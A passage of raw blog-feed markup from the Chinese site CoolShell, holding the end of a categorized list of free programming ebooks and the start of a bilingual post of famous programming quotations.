href=\"http://freeworld.thc.org/root/phun/unmaintain.html\">How to write Unmaintainable Code</a></li>\n<li><a rel=\"nofollow\" href=\"http://catb.org/esr/writings/taoup/html/\">The Art of Unix Programming</a></li>\n<li><a rel=\"nofollow\" href=\"http://nexus.realtimepublishers.com/dgbcq.php\">The Definitive Guide to Building Code Quality</a></li>\n<li><a rel=\"nofollow\" href=\"http://openbookproject.net/thinkcs/cpp.php\">How to Think Like a Computer Scientist</a></li>\n<li><a rel=\"nofollow\" href=\"http://planning.cs.uiuc.edu/\">Planning Algorithms</a></li>\n<li><a rel=\"nofollow\" href=\"http://greenteapress.com/semaphores/\">The Little Book of Semaphores</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.ii.uib.no/~michal/und/i227/book/book.pdf\">Mathematical Logic &#8211; an Introduction</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.cse.ohio-state.edu/~gurari/theory-bk/theory-bk.html\">An Introduction to the Theory of Computation</a></li>\n<li><a rel=\"nofollow\" href=\"http://devshaped.com/book\">Developers Developers Developers Developers</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.iecc.com/linker/\">Linkers and loaders</a></li>\n<li><a rel=\"nofollow\" href=\"http://beej.us/guide/bgnet/\">Beej&#8217;s Guide to Network Programming</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.infoq.com/minibooks/domain-driven-design-quickly\">Domain Driven Design Quickly</a></li>\n<li><a rel=\"nofollow\" href=\"http://compilers.iecc.com/crenshaw/\">Let&#8217;s Build a Compiler</a></li>\n<li><a rel=\"nofollow\" href=\"http://producingoss.com/\">Producing Open Source Software</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.lindaspaces.com/book/\">How to Write Parallel Programs</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.neildavidson.com/dontjustrollthedice.html\">Don&#8217;t Just Roll the Dice</a></li>\n</ul>\n<p><strong>ASP.NET MVC</strong>:</p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://weblogs.asp.net/scottgu/archive/2009/03/10/free-asp-net-mvc-ebook-tutorial.aspx\">NerdDinner Walkthrough</a></li>\n</ul>\n<p><strong>Assembly Language</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://download.savannah.gnu.org/releases/pgubook/ProgrammingGroundUp-1-0-booksize.pdf\">ProgrammingGroundUp</a></li>\n<li><a rel=\"nofollow\" href=\"http://drpaulcarter.com/pcasm/\">Paul Carter&#8217;s Tutorial on x86 Assembly</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.agner.org/optimize/\">Software optimization resources by Agner Fog</a></li>\n</ul>\n<p><strong>Bash</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://tldp.org/LDP/abs/html/\">Advanced Bash-Scripting Guide</a></li>\n</ul>\n<p><strong>C/C++</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.knosof.co.uk/cbook/cbook.html\">The new C standard &#8211; an annotated reference</a></li>\n<li><a rel=\"nofollow\" href=\"http://publications.gbdirect.co.uk/c_book/\">The C book</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.mindview.net/Books/TICPP/ThinkingInCPP2e.html\">Thinking in C++, Second Edition</a></li>\n<li><a rel=\"nofollow\" href=\"http://cppannotations.sourceforge.net/\">C++ Annotations</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.agner.org/optimize/\">Software optimization resources by Agner Fog</a></li>\n<li><a rel=\"nofollow\" href=\"http://cartan.cas.suffolk.edu/oopdocbook/opensource/index.html\">Introduction to Design Patterns in C++ with Qt 4</a> (Open Publication License)</li>\n</ul>\n<p><strong>C#</strong></p>\n<ul>\n<li>See <strong>.NET</strong> below</li>\n</ul>\n<p><strong>Django</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://djangobook.com/\">Djangobook.com</a></li>\n</ul>\n<p><strong>Forth</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://home.iae.nl/users/mhx/sf.html\">Starting Forth</a></li>\n</ul>\n<p><strong>Git</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://progit.org/book/\">Pro Git</a></li>\n<li><a rel=\"nofollow\" href=\"http://book.git-scm.com/index.html\">The Git Community Book</a></li>\n</ul>\n<p><strong>Haskell</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://learnyouahaskell.com/chapters\">Learn You a Haskell</a></li>\n<li><a rel=\"nofollow\" href=\"http://book.realworldhaskell.org/read/\">Real World Haskell</a></li>\n</ul>\n<p><strong>Java</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://java.sun.com/docs/books/tutorial/\">Sun&#8217;s Java Tutorials</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.mindview.net/Books/TIJ/\">Thinking in Java</a></li>\n<li><a rel=\"nofollow\" href=\"http://openbookproject.net/thinkcs/java.php\">How to Think Like a Computer Scientist</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.redbooks.ibm.com/redbooks/SG245118.html\">Java Thin-Client Programming</a></li>\n<li><a rel=\"nofollow\" href=\"http://s3.amazonaws.com/neilbartlett.name/osgibook_preview_20090110.pdf\">OSGi in Practice</a> (CreativeCommons Attribution Non-commercial Share Alike License)</li>\n</ul>\n<p><strong>JavaScript</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://eloquentjavascript.net/\">Eloquent JavaScript</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.crockford.com/javascript/\">Crockford&#8217;s JavaScript</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.rebeccamurphey.com/jqfundamentals/\">jQuery Fundamentals</a> (starts with JS basics)</li>\n</ul>\n<p><strong>Linux</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.advancedlinuxprogramming.com/\">Advanced Linux Programming</a></li>\n</ul>\n<p><strong>Lisp</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.gigamonkeys.com/book/\">Practical Common Lisp</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.paulgraham.com/onlisp.html\">On Lisp</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.paulgraham.com/acl.html\">ANSI Common Lisp</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.cs.cmu.edu/Groups/AI/html/cltl/mirrors.html\">Common Lisp the Language, 2nd Edition</a></li>\n<li><a rel=\"nofollow\" href=\"http://psg.com/~dlamkins/sl/contents.html\">Successful Lisp</a></li>\n<li><a rel=\"nofollow\" href=\"http://letoverlambda.com/index.cl/toc\">Let Over Lamda &#8211; 50 Years of Lisp</a></li>\n</ul>\n<p><strong>Lua</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.lua.org/pil/\">Programming In Lua</a> (for v5 but still largely relevant)</li>\n</ul>\n<p><strong>Maven</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.maestrodev.com/better-build-maven\">Better Builds with Maven</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.sonatype.com/books/mvnex-book/reference/public-book.html\">Maven by Example</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.sonatype.com/books/maven-book/reference/\">Maven: The Definitive Guide</a></li>\n</ul>\n<p><strong>Mercurial</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://hgbook.red-bean.com/\">Mercurial: The Definitive Guide</a></li>\n<li><a rel=\"nofollow\" href=\"http://hginit.com/\">HGInit &#8211; Mercurial Tutorial by Joel Spolsky</a></li>\n</ul>\n<p><strong>.NET (C#)</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.programmersheaven.com/2/CSharpBook\">Free C# Book</a> Covers C#1.0 and 2.0 (Courtesy of <a rel=\"nofollow\" href=\"http://www.programmersheaven.com/\">Programmers Heaven</a>)</li>\n<li><a rel=\"nofollow\" href=\"http://www.infoq.com/minibooks/vsnettt\">Visual Studio Tips and Tricks</a></li>\n<li><a rel=\"nofollow\" href=\"http://weblogs.asp.net/zeeshanhirani/archive/2008/12/05/my-christmas-present-to-the-entity-framework-community.aspx\">Entity Framework</a> (514 pages)</li>\n<li><a rel=\"nofollow\" href=\"http://www.charlespetzold.com/dotnet/index.html\">Charles Petzold&#8217;s .Net Book 0</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.albahari.com/threading/\">Threading in C#</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.csharpcourse.com/\">C# Yellow Book</a> (Intro to programming)</li>\n<li><a rel=\"nofollow\" href=\"http://en.wikibooks.org/wiki/C_Sharp_Programming\">C# Programming &#8211; Wikibook</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.techotopia.com/index.php/C_Sharp_Essentials\">C# Essentials</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.brpreiss.com/books/opus6/\">Data Structures and Algorithms with Object-Oriented Design Patterns in C#</a></li>\n<li><a rel=\"nofollow\" href=\"http://downloads.red-gate.com/ebooks/DotNet/illustratedcsharp2008.zip\">Illustrated C# 2008</a> (Download) (<strong>.ZIP</strong>) [dead link]</li>\n<li><a rel=\"nofollow\" href=\"http://www.red-gate.com/products/ants_performance_profiler/be_ahead_of_the_game_ebook.htm?utm_source=simpletalk&amp;utm_medium=email&amp;utm_content=nlv_aheadofgame-ebook&amp;utm_campaign=antsperformanceprofiler\">O&#8217;Reilly&#8217;s C# Pocket Reference Manual</a> (<em>Free Ebook courtesy of <a rel=\"nofollow\" href=\"http://red-gate.com/\">Red Gate Software</a></em>) [dead link]</li>\n</ul>\n<p><strong>NoSQL</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://books.couchdb.org/relax/\">CouchDB: The Definitive Guide</a></li>\n</ul>\n<p><strong>Objective-C</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/DOCUMENTATION/Cocoa/Conceptual/ObjectiveC/\">The Objective-C Programming Language</a></li>\n</ul>\n<p><strong>Parrot / Perl 6</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://github.com/perl6/book/\">Perl 6</a> (Work in progress)</li>\n</ul>\n<p><strong>Perl</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://hop.perl.plover.com/book/\">Higher Order Perl</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.greenteapress.com/perl/\">Perl The Hard Way</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.extremeperl.org/bk/home\">Extreme Perl</a></li>\n<li><a rel=\"nofollow\" href=\"http://linkmingle.com/list/13-plus-List-of-Free-Great-Perl-Books-available-Online-freebooksandarticles\">Perl Free Online EBooks</a> <strong>Meta-List</strong></li>\n<li><a rel=\"nofollow\" href=\"http://www.masonbook.com/book/\">The Mason Book</a></li>\n<li><a rel=\"nofollow\" href=\"http://modperlbook.org/\">Practical mod_perl</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.perl.org/books/beginning-perl/\">Beginning Perl</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.masonbook.com/book/\">Embedding Perl in HTML with Mason</a> (Open Publication License)</li>\n<li><a rel=\"nofollow\" href=\"http://lwp.interglacial.com/index.html\">Perl &amp; LWP</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.globalspin.com/thebook/\">Perl for the Web</a></li>\n<li><a rel=\"nofollow\" href=\"http://oreilly.com/openbook/webclient/\">Web Client Programming with Perl</a></li>\n<li><a rel=\"nofollow\" href=\"http://github.com/chromatic/modern_perl_book/\">Modern Perl 5</a> (Work in progress)</li>\n</ul>\n<p><strong>PHP</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.ipbwiki.com/Practical_PHP_Programming%3aTable_Of_Contents\">Practical PHP Programming</a> (Wiki that contains O&#8217;Reilly&#8217;s <em>PHP In a Nutshell</em>)</li>\n<li><a rel=\"nofollow\" href=\"http://www.survivethedeepend.com/\">Zend Framework: Survive the Deep End</a></li>\n</ul>\n<p><strong>PowerShell</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://powershell.com/cs/blogs/ebook/\">Mastering PowerShell</a></li>\n</ul>\n<p><strong>Prolog</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.amzi.com/ExpertSystemsInProlog/\">Building Expert Systems in Prolog</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.amzi.com/AdventureInProlog/advfrtop.htm\">Adventure in Prolog</a></li>\n<li><a rel=\"nofollow\" href=\"http://computing.unn.ac.uk/staff/cgpb4/prologbook/\">Prolog Programming A First Course</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.ida.liu.se/~ulfni/lpp/\">Logic, Programming and Prolog (2ed)</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.j-paine.org/prolog/mathnotes/files/pms/pms.html\">Introduction to Prolog for Mathematicians</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.learnprolognow.org/\">Learn Prolog Now!</a></li>\n<li><a rel=\"nofollow\" href=\"http://cs.union.edu/~striegnk/courses/nlp-with-prolog/html/\">Natural Language Processing Techniques in Prolog</a></li>\n</ul>\n<p><strong>PostgreSQL</strong></p>\n<ul><a rel=\"nofollow\" href=\"http://cs.union.edu/~striegnk/courses/nlp-with-prolog/html/\"> </a></p>\n<li><a rel=\"nofollow\" href=\"http://www.commandprompt.com/ppbook/\">Practical PostgreSQL</a></li>\n</ul>\n<p><strong>Python</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://diveintopython.org/\">Dive Into Python</a></li>\n<li><a rel=\"nofollow\" href=\"http://diveintopython3.org/\">Dive Into Python 3</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.swaroopch.com/notes/Python\">Byte of Python</a></li>\n<li><a rel=\"nofollow\" href=\"http://homepage.mac.com/s_lott/books/python.html\">Building Skills in Python Version 2.5</a></li>\n<li><a rel=\"nofollow\" href=\"http://linkmingle.com/list/List-of-Free-Online-Python-Books-freebooksandarticles\">Python Free Online Ebooks</a> <strong>Meta-List</strong></li>\n<li><a rel=\"nofollow\" href=\"http://openbookproject.net/pybiblio/\">Python Bibliotheca</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.greenteapress.com/thinkpython/thinkpython.pdf\">Think Python</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.brpreiss.com/books/opus7/html/book.html\">Data Structures and Algorithms in Python</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.greenteapress.com/thinkpython/thinkCSpy/\">How to Think Like a Computer Scientist: Learning with Python</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.openbookproject.net/py4fun/\">Python for Fun</a></li>\n<li><a rel=\"nofollow\" href=\"http://inventwithpython.com/\">Invent Your Own Computer Games With Python</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.mindview.net/Books/TIPython/\">Thinking in Python</a></li>\n<li><a rel=\"nofollow\" href=\"http://djangobook.com/\">The Django Book</a></li>\n<li><a title=\"SWFK\" rel=\"nofollow\" href=\"http://www.briggs.net.nz/log/writing/snake-wrangling-for-kids/\">Snake Wrangling For Kids</a></li>\n</ul>\n<p><strong>Ruby</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.ruby-doc.org/docs/ProgrammingRuby/\">Programming Ruby</a></li>\n<li><a rel=\"nofollow\" href=\"http://mislav.uniqpath.com/poignant-guide/\">Why&#8217;s (Poignant) Guide to Ruby</a> (<a rel=\"nofollow\" href=\"http://www.scribd.com/doc/2236084/Whys-Poignant-Guide-to-Ruby\">Mirror</a> via <a rel=\"nofollow\" href=\"http://www.scribd.com/\">Scribd</a>)</li>\n<li><a rel=\"nofollow\" href=\"http://www.humblelittlerubybook.com/\">Mr. Neighborly&#8217;s Humble Little Ruby Book</a></li>\n<li><a rel=\"nofollow\" href=\"http://rubybestpractices.com/\">Ruby Best Practices</a></li>\n<li><a rel=\"nofollow\" href=\"http://macruby.labs.oreilly.com/\">MacRuby: The Definitive Guide</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.railstutorial.org/\">Ruby on Rails Tutorial: Learn Rails By Example</a></li>\n</ul>\n<p><strong>Scala</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.scala-lang.org/docu/files/ScalaTutorial.pdf\">A Scala Tutorial for Java programmers</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.scala-lang.org/docu/files/ScalaByExample.pdf\">Scala By Example</a></li>\n<li><a rel=\"nofollow\" href=\"http://programming-scala.labs.oreilly.com/index.html\">Programing Scala</a></li>\n<li><a rel=\"nofollow\" href=\"http://github.com/leithaus/XTrace/tree/monadic/src/main/book/content/\">Xtrace</a> (Github)</li>\n<li><a rel=\"nofollow\" href=\"http://github.com/tjweir/liftbook\">List</a> (Github)</li>\n<li><a rel=\"nofollow\" href=\"http://github.com/leithaus/XTrace/tree/monadic/src/main/book/content/\">Pro Scala: Monadic Design Patterns for the Web</a></li>\n<li><a rel=\"nofollow\" href=\"http://github.com/tjweir/liftbook\">Exploring Lift</a> (published earlier as &#8220;The Definitive Guide to Lift&#8221;, <a rel=\"nofollow\" href=\"http://groups.google.com/group/the-lift-book\">pdf</a>)</li>\n</ul>\n<p><strong>Scheme</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.scheme.com/tspl4/\">The Scheme Programming Language (Edition 4)</a></li>\n</ul>\n<p><strong>SmallTalk</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://stephane.ducasse.free.fr/FreeBooks.html\">SmallTalk Free Ebooks</a> <em>Courtesy of Stéphane Ducasse</em></li>\n<li><a rel=\"nofollow\" href=\"http://www.squeakbyexample.org/\">Squeak By Example</a> (Smalltalk IDE)</li>\n</ul>\n<p><strong>Subversion</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.phptr.com/content/images/0131855182/downloads/Nagel_book.pdf\">Subversion Version Control: Using the Subversion Version Control System in Development Projects</a></li>\n</ul>\n<p><strong>*<em>SQL (Implementation agnostic) *</em> </strong></p>\n<li><a rel=\"nofollow\" href=\"http://www.cs.arizona.edu/people/rts/publications.html\">Developing Time-Oriented Database Applications in SQL</a>,Richard T. Snodgrass</li>\n<p><strong>Vim</strong></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://www.swaroopch.com/notes/Vim\">A Byte of Vim</a></li>\n</ul>\n<p>你有和我们分享的计算机电子书列表吗？欢迎在回复中和我们分享。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" alt=\"两本电子书\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_title\">两本电子书</a></li><li ><a href=\"https://coolshell.cn/articles/3192.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg\" alt=\"一些非常不错的资料\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3192.html\" class=\"wp_rp_title\">一些非常不错的资料</a></li><li ><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" alt=\"给程序员的VIM速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_title\">给程序员的VIM速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Python 和 PyGame 的一些示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_title\">Python 和 PyGame 的一些示例</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2775.html\">免费电子书列表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2775.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>最佳编程语录</title>\n\t\t<link>https://coolshell.cn/articles/2753.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2753.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Mon, 02 Aug 2010 00:15:45 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Bjarne Stroustrup]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Edsger Dijkstra]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2753</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前本站发布过《22条经典的编程引言》、《编程引言补充》、《Linus Torvalds 语录》还有《十条不错的编程观点》。今天向大家介绍“最佳编程语录”，条条...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2753.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2753.html\">最佳编程语录</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前本站发布过《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/808.html\" target=\"_blank\">22条经典的编程引言</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1212.html\" target=\"_blank\">编程引言补充</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1278.html\" target=\"_blank\">Linus Torvalds 语录</a>》还有《<a href=\"https://coolshell.cn/articles/2424.html\" target=\"_blank\">十条不错的编程观点</a>》。今天向大家介绍“最佳编程语录”，条条都是很不错的语录，如同我们的太阳，照亮了我们的方向（所以我们选用了一个红色的图片，希望能够通过五毛们的网络审查）。<img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-2755\" title=\"Best Programming Quotations\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/Best-Programming-Quotations-201x300.jpg\" alt=\"\" width=\"201\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/08/Best-Programming-Quotations-201x300.jpg 201w, https://coolshell.cn/wp-content/uploads/2010/08/Best-Programming-Quotations-181x270.jpg 181w, https://coolshell.cn/wp-content/uploads/2010/08/Best-Programming-Quotations.jpg 335w\" sizes=\"(max-width: 201px) 100vw, 201px\" />其中只有一两条在以前本站发布过的文章中出现过。这篇<a href=\"http://www.linfo.org/q_programming.html\" target=\"_blank\"><strong>文章的出处在这里</strong></a>，下面是“<a href=\"https://coolshell.cn/?author=4\" target=\"_blank\">Neo</a>”和“<a href=\"https://coolshell.cn/?author=2\" target=\"_blank\">陈皓</a>”的翻译，我们的翻译水平有限，所以，我们提供了中英文对照，有不当之处，还请各位指正。</p>\n<blockquote><p>A good programmer is someone who looks both ways before crossing a one-way street.   &#8212; Doug Linder, systems administrator</p>\n<p>好的程序员这样一类人，这类人在横穿一条单行道前都要先看一下路两边。&#8211; Doug Linder, 系统管理员</p></blockquote>\n<blockquote><p>A most important, but also most elusive, aspect of any tool is its influence on the habits of those who train themselves in its use. If the tool is a programming language this influence is, whether we like it or not, an influence on our thinking habits.   &#8212; Edsger Dijkstra, computer scientist</p>\n<p>关于工具，一个最重要的，也是最不易察觉的方面是，工具对使用此工具的人的习惯的潜移默化的影响。如果这个工具是一门程序语言，不管我们是否喜欢它，它都会影响我们的思维惯式。 &#8211;Edsger Dijkstra, 著名的计算机科学家。</p></blockquote>\n<blockquote><p>Being abstract is something profoundly different from being vague&#8230; The purpose of abstraction is not to be vague, but to create a new semantic level in which one can be absolutely precise.   &#8212; Edsger Dijkstra</p>\n<p>抽象和模糊完全地不同，抽象的目的并不是把事情变模糊，而去创建一个新的语义层，在那里是绝对精确的描述。 &#8212; Edsger Dijkstra</p></blockquote>\n<blockquote><p>Besides a mathematical inclination, an exceptionally good mastery of one&#8217;s native tongue is the most vital asset of a competent programmer.   &#8212; Edsger Dijkstra</p>\n<p>除了数学爱好，对于一个有能力的程序员来说，出色地掌握自己的母语是最宝贵的财富。&#8211; Edsger Dijkstra</p></blockquote>\n<p><span id=\"more-2753\"></span></p>\n<blockquote><p>C makes it easy to shoot yourself in the foot; C++ makes it harder, but when you do, it blows away your whole leg.   &#8212; Bjarne Stroustrup, developer of the C++ programming language</p>\n<p>C很容易使你搬起石头砸自己的脚，而C++把这事变得更难，但是如果一定要这么做，那么你的整条腿都会被炸飞 -Bjarne Stroustrup, C++语言的发明者</p></blockquote>\n<blockquote><p>Commentary: most debugging problems are fixed easily; identifying the location of the problem is hard.   &#8212; unknown</p>\n<p>修复bug很容易，但是定位bug却很困难 &#8211; 匿名</p></blockquote>\n<blockquote><p>Considering the current sad state of our computer programs, software development is clearly still a black art, and cannot yet be called an engineering discipline.   &#8212; Bill Clinton, former President of the United States</p>\n<p>看看当前计算机程序糟糕的事态，软件开发明显一直是一门妖术，其仍然不能被称为一个工程学。 &#8211;比尔.克林顿 美国前总统</p></blockquote>\n<blockquote><p>For a long time it puzzled me how something so expensive, so leading edge, could be so useless, and then it occurred to me that a computer is a stupid machine with the ability to do incredibly smart things, while computer programmers are smart people with the ability to do incredibly stupid things. They are, in short, a perfect match.   &#8212; Bill Bryson, author, from Notes from a Big Country</p>\n<p>长期以来，有个事一直困扰着我，那就是越是昂贵的，越是前沿的，就越可能是没用的。然后，困扰我的另一个事是，计算机是一个死的机器，却可以不可思议地去完成那些巧妙的事情，而计算机程序员是那么聪明人却在做着不可思议的愚蠢的事情，简而言之，他们真是天生的一对。&#8211; Bill Bryson旅游文学作家 Big Country中的笔记</p></blockquote>\n<blockquote><p>Given enough eyeballs, all bugs are shallow (e.g., given a large enough beta-tester and co-developer base, almost every problem will be characterized quickly and the fix obvious to someone).   &#8212; Eric S. Raymond, programmer and advocate of open source software, from The Cathedral and the Bazaar</p>\n<p>足够多的眼睛，就可让所有问题浮现(比如：只要给于足够多的beta测试者和开发人员一起工作，那么，几所所有的问题都会很快的出现，而修正也会是显而易见的）</p></blockquote>\n<blockquote><p>Good code is its own best documentation. As you&#8217;re about to add a comment, ask yourself, &#8216;How can I improve the code so that this comment isn&#8217;t needed?&#8217; Improve the code and then document it to make it even clearer.   &#8212; Steve McConnell, software engineer and author, from Code Complete</p>\n<p>好的代码自己本身就是最好的文档。当你打算加注释的时候，问问自己‘我如何才能把我的代码改善到不需增加注释？’重构自己的代码，然后使文档让其更清楚。 &#8212; Steve McConnell《代码大全》的作者</p></blockquote>\n<blockquote><p>Hey! It compiles! Ship it!   &#8212; unknown</p>\n<p>嘿，编译通过了！出货！&#8211;匿名</p></blockquote>\n<blockquote><p>Inside every well-written large program is a well-written small program.   &#8212; Charles Antony Richard Hoare, computer scientist</p>\n<p>在每个编写精良的大程序里面都是一个编写精良的小程序。 &#8211;Charles Antony Richard Hoare,计算机科学家</p></blockquote>\n<blockquote><p>It should be noted that no ethically-trained software engineer would ever consent to write a DestroyBaghdad procedure. Basic professional ethics would instead require him to write a DestroyCity procedure, to which Baghdad could be given as a parameter.   &#8212; Nathaniel S. Borenstein, computer scientist</p>\n<p>需要注意的是，没有哪个经过规范培训的工程师会赞成写一个DestoryBaghdad（摧毁巴克达）的函数。最基本的职业规范会告诉他们应该去写一个叫DestoryCity的函数，然后把“Baghdad”（巴克达）当成这个函数的参数。——　Nathaniel S. Borenstein,　计算机科学家</p></blockquote>\n<blockquote><p>Managing programmers is like herding cats.   &#8212; 